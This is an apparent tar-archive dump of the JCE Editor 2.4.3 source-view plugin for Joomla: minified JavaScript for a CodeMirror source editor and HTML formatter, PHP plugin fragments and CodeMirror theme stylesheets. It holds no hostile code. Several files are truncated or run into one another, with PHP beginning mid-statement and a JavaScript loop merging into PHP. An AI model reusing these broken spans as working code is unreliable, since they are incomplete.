multi_parser.print_token(multi_parser.token_text);multi_parser.current_mode='CONTENT';break;case'TK_TAG_SINGLE':multi_parser.print_newline(false,multi_parser.output);multi_parser.print_token(multi_parser.token_text);multi_parser.current_mode='CONTENT';break;case'TK_CONTENT':if(multi_parser.token_text!==''){multi_parser.print_token(multi_parser.token_text);} multi_parser.current_mode='TAG';break;case'TK_STYLE':case'TK_SCRIPT':if(multi_parser.token_text!==''){multi_parser.output.push('\n');var text=multi_parser.token_text;if(multi_parser.token_type=='TK_SCRIPT'){var _beautifier=typeof js_beautify=='function'&&js_beautify;}else if(multi_parser.token_type=='TK_STYLE'){var _beautifier=typeof css_beautify=='function'&&css_beautify;} if(options.indent_scripts=="keep"){var script_indent_level=0;}else if(options.indent_scripts=="separate"){var script_indent_level=-multi_parser.indent_level;}else{var script_indent_level=1;} var indentation=multi_parser.get_full_indent(script_indent_level);if(_beautifier){text=_beautifier(text.replace(/^\s*/,indentation),options);}else{var white=text.match(/^\s*/)[0];var _level=white.match(/[^\n\r]*$/)[0].split(multi_parser.indent_string).length-1;var reindent=multi_parser.get_full_indent(script_indent_level-_level);text=text.replace(/^\s*/,indentation).replace(/\r\n|\r|\n/g,'\n'+reindent).replace(/\s*$/,'');} if(text){multi_parser.print_token(text);multi_parser.print_newline(true,multi_parser.output);}} multi_parser.current_mode='TAG';break;} multi_parser.last_token=multi_parser.token_type;multi_parser.last_text=multi_parser.token_text;} return multi_parser.output.join('');}})();com_jce/editor/tiny_mce/plugins/source/js/editor.js000066600000020600150771500630016467 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var DOM=tinyMCEPopup.dom,ed=tinyMCEPopup.editor,Event=tinymce.dom.Event;var writer=new tinymce.html.Writer(ed.settings),parser=new tinymce.html.SaxParser(writer,ed.schema);var SourceEditor={options:{format:true,width:'100%',height:'100%',theme:'textmate',font_size:'',load:function(){},change:function(){}},init:function(options,content,selection){var self=this;if(Event.domLoaded){tinymce.extend(this.options,options);this.container=DOM.add(document.body,'div',{'style':{width:this.options.width,height:this.options.height},'id':'source-container'});this._createToolbar();if(this.options.format){content=this._format(content);} this._load(content,selection);}else{Event.add(document,'init',function(){self.init(options,content,selection);});}},_createToolbar:function(){var self=this,o=this.options,doc=document;this.toolbar=DOM.add(this.container,'div',{id:'source-toolbar'});tinymce.each(['highlight','linenumbers','wrap'],function(s){var n=DOM.add(self.toolbar,'span',{'class':'button source_'+s,'title':ed.getLang('source.'+s,s)});var func=self[s];if(o[s]){DOM.addClass(n,'active');} Event.add(n,'click',function(){func.call(self,!DOM.hasClass(n,'active'));if(DOM.hasClass(n,'active')){DOM.removeClass(n,'active');}else{DOM.addClass(n,'active');}});});var format=DOM.add(self.toolbar,'span',{'class':'button source_format','title':ed.getLang('source.format','Format')});DOM.bind(format,'click',function(){self.format();});var search=DOM.add(this.toolbar,'span',{'class':'source_search_container'});tinymce.each(['search','replace'],function(s){var input=DOM.add(search,'input',{id:'source_'+s+'_value',type:'text','placeholder':ed.getLang('source.'+s,s)});var btn=DOM.add(search,'span',{'class':'button source_'+s,'title':ed.getLang('source.'+s,s)});var fn=self[s];DOM.bind(btn,'click',function(){var f=DOM.get('source_search_value').value,r;if(s=='replace'){r=DOM.get('source_replace_value').value;return fn.call(self,f,r,false,DOM.get('source_search_regex').checked);} fn.call(self,f,false,DOM.get('source_search_regex').checked);});var k=(s=='search')?'prev':'all';var btn2=DOM.add(search,'span',{'class':'button source_'+s+'_'+k,'title':ed.getLang('source.'+s+'_'+k,s+' '+k)});DOM.bind(btn2,'click',function(){var f=DOM.get('source_search_value').value,r;if(s=='replace'){r=DOM.get('source_replace_value').value;return fn.call(self,f,r,true,DOM.get('source_search_regex').checked);} return fn.call(self,f,true,DOM.get('source_search_regex').checked);});});DOM.bind(DOM.get('source_search_value'),'change',function(){if(DOM.get('source_search_value').value==''){self.clearSearch();}});DOM.add(search,'input',{'id':'source_search_regex','type':'checkbox'});DOM.add(search,'label',{'for':'source_search_regex'},ed.getLang('source.regex','Regular Expression'));},_format:function(html,validate){if(validate){parser.parse(html);} return this.formatHTML(html);},_load:function(content,selection){var self=this,cm,o=this.options;if(window.CodeMirror){if(o.theme=='codemirror'){o.theme='default';} var settings={mode:"text/html",theme:o.theme,indentWithTabs:true,smartIndent:true,tabMode:"indent",styleActiveLine:true,highlightSelectionMatches:!!o.selection_match,autoCloseTags:!!o.tag_closing};cm=CodeMirror(this.container,settings);cm.on('change',function(){o.change.call();});cm.setWrap=function(s){cm.setOption('lineWrapping',s);cm.focus();};cm.showGutter=function(s){cm.setOption('lineNumbers',s);cm.focus();};cm.highlight=function(s){var c=cm.getCursor();if(s){cm.setOption('mode','text/html');}else{cm.setOption('mode','text/plain');} cm.setCursor(c);cm.focus();};cm.resize=function(w,h,init){if(!init){h=h-self.toolbar.offsetHeight;} cm.setSize(w||null,h);};cm.showInvisibles=function(s){};cm.setContent=function(v){if(v===''){v='\u00a0';} cm.setValue(v);cm.focus();};cm.insertContent=function(v){return cm.replaceSelection(v);};cm.getContent=function(){return cm.getValue();};cm.getSearchState=function(){function SearchState(){this.posFrom=this.posTo=this.query=null;this.marked=[];} return cm.state.search||(cm.state.search=new SearchState());};cm.clearSearch=function(){cm.operation(function(){var state=cm.getSearchState(cm);if(!state.query){return;} state.query=null;for(var i=0;igetToken('source'); ?> com_jce/editor/tiny_mce/plugins/source/tmpl/index.html000066600000000054150771500630017201 0ustar00com_jce/editor/tiny_mce/plugins/source/classes/index.html000066600000000054150771500630017662 0ustar00com_jce/editor/tiny_mce/plugins/source/classes/source.php000066600000004027150771500630017702 0ustar00getView(); $view->addTemplatePath(WF_EDITOR_PLUGIN . '/tmpl'); $document->setTitle(WFText::_('WF_' . strtoupper($this->getName() . '_TITLE'))); $theme = $this->getParam('source.theme', 'textmate'); //$editor = 'codemirror'; $document->addScript(array('tiny_mce_popup'), 'tiny_mce'); $document->addScript(array('editor', 'format'), 'plugins'); $document->addStyleSheet(array('editor'), 'plugins'); $document->addScript(array('codemirror-compressed'), 'jce.tiny_mce.plugins.source.js.codemirror'); $document->addStyleSheet(array('codemirror', 'theme/' . $theme), 'jce.tiny_mce.plugins.source.css.codemirror'); /*switch ($editor) { case 'ace': $document->addScript(array('ace', 'mode-html'), 'jce.tiny_mce.plugins.source.js.ace'); if ($theme != 'textmate') { $document->addScript(array('theme-' . $theme), 'jce.tiny_mce.plugins.source.js.ace'); } break; case 'codemirror': $document->addScript(array('codemirror-compressed'), 'jce.tiny_mce.plugins.source.js.codemirror'); $document->addStyleSheet(array('codemirror', 'theme/' . $theme), 'jce.tiny_mce.plugins.source.css.codemirror'); break; }*/ } } com_jce/editor/tiny_mce/plugins/source/classes/config.php000066600000003677150771500630017661 0ustar00getParam('source.highlight', 1, 1, 'boolean'); $settings['source_numbers'] = $wf->getParam('source.numbers', 1, 1, 'boolean'); $settings['source_wrap'] = $wf->getParam('source.wrap', 1, 1, 'boolean'); $settings['source_format'] = $wf->getParam('source.foramt', 1, 1, 'boolean'); $settings['source_tag_closing'] = $wf->getParam('source.tag_closing', 1, 1, 'boolean'); $settings['source_selection_match'] = $wf->getParam('source.selection_match', 1, 1, 'boolean'); $settings['source_font_size'] = $wf->getParam('source.font_size', '', ''); $theme = $wf->getParam('source.theme', 'textmate', 'textmate'); $settings['source_theme'] = $theme; } public static function getStyles() { $wf = WFEditor::getInstance(); if (JRequest::getWord('layout') === 'plugin') { // return file(s) array if ($wf->getParam('editor.compress_css', 0)) { return array(dirname(dirname(__FILE__)) . '/css/editor.css'); } // use document instance $document = JFactory::getDocument(); $document->addStyleSheet(JURI::root(true) . '/components/com_jce/editor/tiny_mce/plugins/source/css/editor.css?version=' . $wf->getVersion()); } } } ?>com_jce/editor/tiny_mce/plugins/source/index.html000066600000000054150771500630016225 0ustar00com_jce/editor/tiny_mce/plugins/source/source.php000066600000001152150771500630016241 0ustar00execute(); ?>com_jce/editor/tiny_mce/plugins/source/css/codemirror/codemirror.css000066600000010577150771500630022057 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/ .CodeMirror{font-family:monospace;height:300px;}.CodeMirror-scroll{overflow:auto;}.CodeMirror-lines{padding:4px 0;}.CodeMirror pre{padding:0 4px;}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white;}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap;}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;-moz-box-sizing:content-box;box-sizing:content-box;}.CodeMirror div.CodeMirror-cursor{border-left:1px solid black;}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver;}.CodeMirror.cm-keymap-fat-cursor div.CodeMirror-cursor{width:auto;border:0;background:#7e7;}.cm-tab{display:inline-block;}.CodeMirror-ruler{border-left:1px solid #ccc;position:absolute;}.cm-s-default .cm-keyword{color:#708;}.cm-s-default .cm-atom{color:#219;}.cm-s-default .cm-number{color:#164;}.cm-s-default .cm-def{color:#00f;}.cm-s-default .cm-variable{color:black;}.cm-s-default .cm-variable-2{color:#05a;}.cm-s-default .cm-variable-3{color:#085;}.cm-s-default .cm-property{color:black;}.cm-s-default .cm-operator{color:black;}.cm-s-default .cm-comment{color:#a50;}.cm-s-default .cm-string{color:#a11;}.cm-s-default .cm-string-2{color:#f50;}.cm-s-default .cm-meta{color:#555;}.cm-s-default .cm-qualifier{color:#555;}.cm-s-default .cm-builtin{color:#30a;}.cm-s-default .cm-bracket{color:#997;}.cm-s-default .cm-tag{color:#170;}.cm-s-default .cm-attribute{color:#00c;}.cm-s-default .cm-header{color:blue;}.cm-s-default .cm-quote{color:#090;}.cm-s-default .cm-hr{color:#999;}.cm-s-default .cm-link{color:#00c;}.cm-negative{color:#d44;}.cm-positive{color:#292;}.cm-header,.cm-strong{font-weight:bold;}.cm-em{font-style:italic;}.cm-link{text-decoration:underline;}.cm-s-default .cm-error{color:#f00;}.cm-invalidchar{color:#f00;}div.CodeMirror span.CodeMirror-matchingbracket{color:#0f0;}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#f22;}.CodeMirror-activeline-background{background:#e8f2ff;}.CodeMirror{line-height:1;position:relative;overflow:hidden;background:white;color:black;}.CodeMirror-scroll{margin-bottom:-30px;margin-right:-30px;padding-bottom:30px;height:100%;outline:none;position:relative;-moz-box-sizing:content-box;box-sizing:content-box;}.CodeMirror-sizer{position:relative;border-right:30px solid transparent;-moz-box-sizing:content-box;box-sizing:content-box;}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll;}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll;}.CodeMirror-scrollbar-filler{right:0;bottom:0;}.CodeMirror-gutter-filler{left:0;bottom:0;}.CodeMirror-gutters{position:absolute;left:0;top:0;padding-bottom:30px;z-index:3;}.CodeMirror-gutter{white-space:normal;height:100%;-moz-box-sizing:content-box;box-sizing:content-box;padding-bottom:30px;margin-bottom:-32px;display:inline-block;*zoom:1;*display:inline;}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4;}.CodeMirror-lines{cursor:text;}.CodeMirror pre{-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;}.CodeMirror-wrap pre{word-wrap:break-word;white-space:pre-wrap;word-break:normal;}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0;}.CodeMirror-linewidget{position:relative;z-index:2;overflow:auto;}.CodeMirror-wrap .CodeMirror-scroll{overflow-x:hidden;}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden;}.CodeMirror-measure pre{position:static;}.CodeMirror div.CodeMirror-cursor{position:absolute;border-right:none;width:0;}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:1;}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible;}.CodeMirror-selected{background:#d9d9d9;}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0;}.cm-searching{background:#ffa;background:rgba(255,255,0,.4);}.CodeMirror span{*vertical-align:text-bottom;}.cm-force-border{padding-right:.1px;}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden;}}com_jce/editor/tiny_mce/plugins/source/css/codemirror/index.html000066600000000054150771500630021162 0ustar00com_jce/editor/tiny_mce/plugins/source/css/codemirror/theme/lesser-dark.css000066600000004207150771500630023221 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/ .CodeMirror{line-height:15px;}.cm-s-lesser-dark{font-family:'Bitstream Vera Sans Mono','DejaVu Sans Mono','Monaco',Courier,monospace!important;font-size:12px;}.cm-s-lesser-dark{background:#262626;color:#EBEFE7;text-shadow:0 -1px 1px #262626;}.cm-s-lesser-dark div.CodeMirror-selected{background:#45443B!important;}.cm-s-lesser-dark .CodeMirror-cursor{border-left:1px solid white!important;}.cm-s-lesser-dark .CodeMirror-lines{margin-left:3px;margin-right:3px;}div.CodeMirror span.CodeMirror-matchingbracket{color:#7EFC7E;}.cm-s-lesser-dark .CodeMirror-gutter{background:#262626;border-right:1px solid #aaa;padding-right:3px;min-width:2.5em;}.cm-s-lesser-dark .CodeMirror-gutter-text{color:#777;}.cm-s-lesser-dark span.cm-keyword{color:#599eff;}.cm-s-lesser-dark span.cm-atom{color:#C2B470;}.cm-s-lesser-dark span.cm-number{color:#B35E4D;}.cm-s-lesser-dark span.cm-def{color:white;}.cm-s-lesser-dark span.cm-variable{color:#D9BF8C;}.cm-s-lesser-dark span.cm-variable-2{color:#669199;}.cm-s-lesser-dark span.cm-variable-3{color:white;}.cm-s-lesser-dark span.cm-property{color:#92A75C;}.cm-s-lesser-dark span.cm-operator{color:#92A75C;}.cm-s-lesser-dark span.cm-comment{color:#666;}.cm-s-lesser-dark span.cm-string{color:#BCD279;}.cm-s-lesser-dark span.cm-string-2{color:#f50;}.cm-s-lesser-dark span.cm-meta{color:#738C73;}.cm-s-lesser-dark span.cm-error{color:#9d1e15;}.cm-s-lesser-dark span.cm-qualifier{color:#555;}.cm-s-lesser-dark span.cm-builtin{color:#ff9e59;}.cm-s-lesser-dark span.cm-bracket{color:#EBEFE7;}.cm-s-lesser-dark span.cm-tag{color:#669199;}.cm-s-lesser-dark span.cm-attribute{color:#2F72FF;}.cm-s-lesser-dark span.cm-header{color:#a0a;}.cm-s-lesser-dark span.cm-quote{color:#090;}.cm-s-lesser-dark span.cm-hr{color:#999;}.cm-s-lesser-dark span.cm-link{color:#2F72FF;}.cm-s-lesser-dark .cm-matchhighlight{background:none repeat scroll 0 0 rgba(69,68,59,0.6);}.cm-s-lesser-dark .CodeMirror-activeline-background{background:none repeat scroll 0 0 #3c3a3a!important;}.cm-s-lesser-dark .cm-searching{background:#ffa;background:rgba(255,255,0,.4);}com_jce/editor/tiny_mce/plugins/source/css/codemirror/theme/codemirror.css000066600000002420150771500630023145 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/ .cm-s-default span.cm-keyword{color:#708;}.cm-s-default span.cm-atom{color:#219;}.cm-s-default span.cm-number{color:#164;}.cm-s-default span.cm-def{color:#00f;}.cm-s-default span.cm-variable{color:black;}.cm-s-default span.cm-variable-2{color:#05a;}.cm-s-default span.cm-variable-3{color:#085;}.cm-s-default span.cm-property{color:black;}.cm-s-default span.cm-operator{color:black;}.cm-s-default span.cm-comment{color:#a50;}.cm-s-default span.cm-string{color:#a11;}.cm-s-default span.cm-string-2{color:#f50;}.cm-s-default span.cm-meta{color:#555;}.cm-s-default span.cm-error{color:#f00;}.cm-s-default span.cm-qualifier{color:#555;}.cm-s-default span.cm-builtin{color:#30a;}.cm-s-default span.cm-bracket{color:#cc7;}.cm-s-default span.cm-tag{color:#170;}.cm-s-default span.cm-attribute{color:#00c;}.cm-s-default span.cm-header{color:blue;}.cm-s-default span.cm-quote{color:#090;}.cm-s-default span.cm-hr{color:#999;}.cm-s-default span.cm-link{color:#00c;}.cm-s-default .cm-matchhighlight{background:#e9e9e9;}.cm-s-default .CodeMirror-activeline-background{background:none repeat scroll 0 0 #e8f2ff;}.cm-s-default .cm-searching{background:#ffa;background:rgba(255,255,0,.4);}com_jce/editor/tiny_mce/plugins/source/css/codemirror/theme/textmate.css000066600000002332150771500630022635 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/ .cm-s-textmate span.cm-meta{color:#FF1717;}.cm-s-textmate span.cm-keyword{color:#0000A2;}.cm-s-textmate span.cm-atom{color:#219;}.cm-s-textmate span.cm-number{color:#164;}.cm-s-textmate span.cm-def{color:#00f;}.cm-s-textmate span.cm-variable{color:black;}.cm-s-textmate span.cm-variable-2{color:#0000C0;}.cm-s-textmate span.cm-variable-3{color:#0000C0;}.cm-s-textmate span.cm-property{color:black;}.cm-s-textmate span.cm-operator{color:black;}.cm-s-textmate span.cm-comment{color:#4C886B;}.cm-s-textmate span.cm-string{color:#2A00FF;}.cm-s-textmate span.cm-string-2{color:#f50;}.cm-s-textmate span.cm-error{color:#F00;}.cm-s-textmate span.cm-qualifier{color:#555;}.cm-s-textmate span.cm-builtin{color:#30a;}.cm-s-textmate span.cm-bracket{color:#cc7;}.cm-s-textmate span.cm-tag{color:blue;}.cm-s-textmate span.cm-attribute{color:#036A07;}.CodeMirror-matchingbracket{border:1px solid gray;color:black!important;}.cm-s-textmate .CodeMirror-activeline-background{background:#F0F0F0!important;}.cm-s-textmate .cm-matchhighlight{background:#B5D5FF;}.cm-s-textmate .cm-searching{background:#ffa;background:rgba(255,255,0,.3);}com_jce/editor/tiny_mce/plugins/source/css/codemirror/theme/index.html000066600000000054150771500630022264 0ustar00com_jce/editor/tiny_mce/plugins/source/css/codemirror/theme/blackboard.css000066600000002700150771500630023065 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/ .cm-s-blackboard.CodeMirror{background:#0C1021;color:#F8F8F8;}.cm-s-blackboard .CodeMirror-selected{background:#253B76!important;}.cm-s-blackboard .CodeMirror-gutters{background:#0C1021;border-right:0;}.cm-s-blackboard .CodeMirror-linenumber{color:#888;}.cm-s-blackboard .CodeMirror-cursor{border-left:1px solid #A7A7A7!important;}.cm-s-blackboard .cm-keyword{color:#FBDE2D;}.cm-s-blackboard .cm-atom{color:#D8FA3C;}.cm-s-blackboard .cm-number{color:#D8FA3C;}.cm-s-blackboard .cm-def{color:#8DA6CE;}.cm-s-blackboard .cm-variable{color:#FF6400;}.cm-s-blackboard .cm-operator{color:#FBDE2D;}.cm-s-blackboard .cm-comment{color:#AEAEAE;}.cm-s-blackboard .cm-string{color:#61CE3C;}.cm-s-blackboard .cm-string-2{color:#61CE3C;}.cm-s-blackboard .cm-meta{color:#D8FA3C;}.cm-s-blackboard .cm-error{background:#9D1E15;color:#F8F8F8;}.cm-s-blackboard .cm-builtin{color:#8DA6CE;}.cm-s-blackboard .cm-tag{color:#8DA6CE;}.cm-s-blackboard .cm-attribute{color:#8DA6CE;}.cm-s-blackboard .cm-header{color:#FF6400;}.cm-s-blackboard .cm-hr{color:#AEAEAE;}.cm-s-blackboard .cm-link{color:#8DA6CE;}.cm-s-blackboard .CodeMirror-activeline-background{background:none repeat scroll 0 0 #3c3636!important;}.cm-s-blackboard .cm-matchhighlight{background:none repeat scroll 0 0 rgba(37,59,118,0.6);}.cm-s-blackboard .cm-searching{background:#ffa;background:rgba(255,255,0,.4);}com_jce/editor/tiny_mce/plugins/source/css/codemirror/theme/ambiance.css000066600000062453150771500630022553 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/ .cm-s-ambiance .cm-keyword{color:#cda869;}.cm-s-ambiance .cm-atom{color:#CF7EA9;}.cm-s-ambiance .cm-number{color:#78CF8A;}.cm-s-ambiance .cm-def{color:#aac6e3;}.cm-s-ambiance .cm-variable{color:#ffb795;}.cm-s-ambiance .cm-variable-2{color:#eed1b3;}.cm-s-ambiance .cm-variable-3{color:#faded3;}.cm-s-ambiance .cm-property{color:#eed1b3;}.cm-s-ambiance .cm-operator{color:#fa8d6a;}.cm-s-ambiance .cm-comment{color:#555;font-style:italic;}.cm-s-ambiance .cm-string{color:#8f9d6a;}.cm-s-ambiance .cm-string-2{color:#9d937c;}.cm-s-ambiance .cm-meta{color:#D2A8A1;}.cm-s-ambiance .cm-error{color:#AF2018;}.cm-s-ambiance .cm-qualifier{color:yellow;}.cm-s-ambiance .cm-builtin{color:#99c;}.cm-s-ambiance .cm-bracket{color:#24C2C7;}.cm-s-ambiance .cm-tag{color:#fee4ff;}.cm-s-ambiance .cm-attribute{color:#9B859D;}.cm-s-ambiance .cm-header{color:blue;}.cm-s-ambiance .cm-quote{color:#24C2C7;}.cm-s-ambiance .cm-hr{color:pink;}.cm-s-ambiance .cm-link{color:#F4C20B;}.cm-s-ambiance .cm-special{color:#FF9D00;}.cm-s-ambiance .CodeMirror-matchingbracket{color:#0f0;}.cm-s-ambiance .CodeMirror-nonmatchingbracket{color:#f22;}.cm-s-ambiance .CodeMirror-selected{background:rgba(255,255,255,0.15);}.cm-s-ambiance .CodeMirror-focused .CodeMirror-selected{background:rgba(255,255,255,0.10);}.cm-s-ambiance.CodeMirror{line-height:1.40em;font-family:Monaco,Menlo,"Andale Mono","lucida console","Courier New",monospace!important;color:#E6E1DC;background-color:#202020;-webkit-box-shadow:inset 0 0 10px black;-moz-box-shadow:inset 0 0 10px black;box-shadow:inset 0 0 10px black;}.cm-s-ambiance .CodeMirror-gutters{background:#3D3D3D;border-right:1px solid #4D4D4D;box-shadow:0 10px 20px black;}.cm-s-ambiance .CodeMirror-linenumber{text-shadow:0 1px 1px #4d4d4d;color:#222;padding:0 5px;}.cm-s-ambiance .CodeMirror-lines .CodeMirror-cursor{border-left:1px solid #7991E8;}.cm-s-ambiance .activeline{background:none repeat scroll 0 0 rgba(255,255,255,0.031);}.cm-s-ambiance.CodeMirror,.cm-s-ambiance .CodeMirror-gutters{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMgAAADICAQAAAAHUWYVAABFFUlEQVQYGbzBCeDVU/74/6fj9HIcx/FRHx9JCFmzMyGRURhLZIkUsoeRfUjS2FNDtr6WkMhO9sm+S8maJfu+Jcsg+/o/c+Z4z/t97/vezy3z+z8ekGlnYICG/o7gdk+wmSHZ1z4pJItqapjoKXWahm8NmV6eOTbWUOp6/6a/XIg6GQqmenJ2lDHyvCFZ2cBDbmtHA043VFhHwXxClWmeYAdLhV00Bd85go8VmaFCkbVkzlQENzfBDZ5gtN7HwF0KDrTwJ0dypSOzpaKCMwQHKTIreYIxlmhXTzTWkVm+LTynZhiSBT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2CZg7cVsbWGoKmEpzQ5elpiy8Ryg7dMkLLUEauzeO86CuwlSOlgYLojZWeJ9xM3S1PWfEfKl5ISLQ0MEKR8YOB2QfCxJBjrKPCN4f9MkaSsqoVXJBmP7EpFZ9UQfOoOFwSzBN4MQ8LsGrymlipcJQhmy0GaQjPqCHaXRwuCZwRbqK2Fg9wlClZqYicrIgMdZfxTQ0c7TBIbrChxmuzoKG8XRaSrIhhiyNFJkrC7oIAWMEOQa5aBekPCRknCo4IKPrYkvCDI8aYmY7WFtprgekcJZ3oLIqssCSMtFbQTJKwXYy3BY5oCh2iKPCpJOE+zRdpYgi6O2KmOAgvVCYaU4ySRek1sgyFhJ403QFHiVEmJHwtybO1gs8Hr5+BETQX3War0qZngYGgtVZtoqd6vFSk/UwdZElYqyjrF4HXUeFspIi9IGKf4j92pKGAdCYMVsbcV3kRF0N+R8LUd5PCsIGWoxDtBkCI0nKofdJQxT+LtZflvuc8Q3CjwWkq8KwUpHzkK/NmSsclCL0nseQdj5FRH5CNHSgtLiW80Of5HU9Hhlsga9bnBq3fEVltKfO5IaSTmGjjc4J0otcP7QsJUSQM8pEj5/wCuUuC2DWz8AAAAAElFTkSuQmCC");}.cm-s-ambiance .cm-searching{background:#ffa;background:rgba(255,255,0,.4);}com_jce/editor/tiny_mce/plugins/source/css/codemirror/theme/eclipse.css000066600000002351150771500630022427 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/ .cm-s-eclipse span.cm-meta{color:#FF1717;}.cm-s-eclipse span.cm-keyword{font-weight:bold;color:#7F0055;}.cm-s-eclipse span.cm-atom{color:#219;}.cm-s-eclipse span.cm-number{color:#164;}.cm-s-eclipse span.cm-def{color:#00f;}.cm-s-eclipse span.cm-variable{color:black;}.cm-s-eclipse span.cm-variable-2{color:#0000C0;}.cm-s-eclipse span.cm-variable-3{color:#0000C0;}.cm-s-eclipse span.cm-property{color:black;}.cm-s-eclipse span.cm-operator{color:black;}.cm-s-eclipse span.cm-comment{color:#3F7F5F;}.cm-s-eclipse span.cm-string{color:#2A00FF;}.cm-s-eclipse span.cm-string-2{color:#f50;}.cm-s-eclipse span.cm-error{color:#f00;}.cm-s-eclipse span.cm-qualifier{color:#555;}.cm-s-eclipse span.cm-builtin{color:#30a;}.cm-s-eclipse span.cm-bracket{color:#cc7;}.cm-s-eclipse span.cm-tag{color:#170;}.cm-s-eclipse span.cm-attribute{color:#00c;}.CodeMirror-matchingbracket{border:1px solid gray;color:black!important;}.cm-s-eclipse .CodeMirror-activeline-background{background:none repeat scroll 0 0 #e8f2ff!important;}.cm-s-eclipse .cm-matchhighlight{background:#e9e9e9;}.cm-s-eclipse .cm-searching{background:#ffa;background:rgba(255,255,0,.4);}com_jce/editor/tiny_mce/plugins/source/css/codemirror/theme/monokai.css000066600000002611150771500630022437 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/ .cm-s-monokai{background:#272822;color:#f8f8f2;}.cm-s-monokai div.CodeMirror-selected{background:#49483E!important;}.cm-s-monokai .CodeMirror-gutter{background:#272822;border-right:0;}.cm-s-monokai .CodeMirror-gutter-text{color:#d0d0d0;}.cm-s-monokai .CodeMirror-cursor{border-left:1px solid #f8f8f0!important;}.cm-s-monokai span.cm-comment{color:#75715e;}.cm-s-monokai span.cm-atom{color:#ae81ff;}.cm-s-monokai span.cm-number{color:#ae81ff;}.cm-s-monokai span.cm-property,.cm-s-monokai span.cm-attribute{color:#a6e22e;}.cm-s-monokai span.cm-keyword{color:#f92672;}.cm-s-monokai span.cm-string{color:#e6db74;}.cm-s-monokai span.cm-variable{color:#a6e22e;}.cm-s-monokai span.cm-variable-2{color:#9effff;}.cm-s-monokai span.cm-def{color:#fd971f;}.cm-s-monokai span.cm-error{background:#f92672;color:#f8f8f0;}.cm-s-monokai span.cm-bracket{color:#f8f8f2;}.cm-s-monokai span.cm-tag{color:#f92672;}.cm-s-monokai span.cm-link{color:#ae81ff;}.cm-s-monokai .CodeMirror-matchingbracket{text-decoration:underline;color:white!important;}.cm-s-monokai .cm-matchhighlight{background:none repeat scroll 0 0 rgba(73,72,62,0.6);}.cm-s-monokai .CodeMirror-activeline-background{background:none repeat scroll 0 0 rgba(255,255,255,0.035);}.cm-s-monokai .cm-searching{background:#ffa;background:rgba(255,255,0,.4);}com_jce/editor/tiny_mce/plugins/source/css/codemirror/theme/cobalt.css000066600000002456150771500630022255 0ustar00/*Copyright (C) 2013 by Marijn Haverbeke | https://github.com/marijnh/CodeMirror/blob/master/LICENSE*/ .cm-s-cobalt{background:#002240;color:white;}.cm-s-cobalt div.CodeMirror-selected{background:#b36539!important;}.cm-s-cobalt .CodeMirror-gutter{background:#002240;border-right:1px solid #aaa;}.cm-s-cobalt .CodeMirror-gutter-text{color:#d0d0d0;}.cm-s-cobalt .CodeMirror-cursor{border-left:1px solid white!important;}.cm-s-cobalt span.cm-comment{color:#08f;}.cm-s-cobalt span.cm-atom{color:#845dc4;}.cm-s-cobalt span.cm-number,.cm-s-cobalt span.cm-attribute{color:#ff80e1;}.cm-s-cobalt span.cm-keyword{color:#ffee80;}.cm-s-cobalt span.cm-string{color:#3ad900;}.cm-s-cobalt span.cm-meta{color:#ff9d00;}.cm-s-cobalt span.cm-variable-2,.cm-s-cobalt span.cm-tag{color:#9effff;}.cm-s-cobalt span.cm-variable-3,.cm-s-cobalt span.cm-def{color:white;}.cm-s-cobalt span.cm-error{color:#9d1e15;}.cm-s-cobalt span.cm-bracket{color:#d8d8d8;}.cm-s-cobalt span.cm-builtin,.cm-s-cobalt span.cm-special{color:#ff9e59;}.cm-s-cobalt span.cm-link{color:#845dc4;}.cm-s-cobalt .CodeMirror-activeline-background{background:none repeat scroll 0 0 #002d57!important;}.cm-s-cobalt .cm-matchhighlight{background:none repeat scroll 0 0 rgba(179,101,57,0.6);}.cm-s-cobalt .cm-searching{background:#ffa;background:rgba(255,255,0,.4);}com_jce/editor/tiny_mce/plugins/source/css/index.html000066600000000054150771500630017015 0ustar00com_jce/editor/tiny_mce/plugins/source/css/editor.css000066600000004256150771500630017030 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | 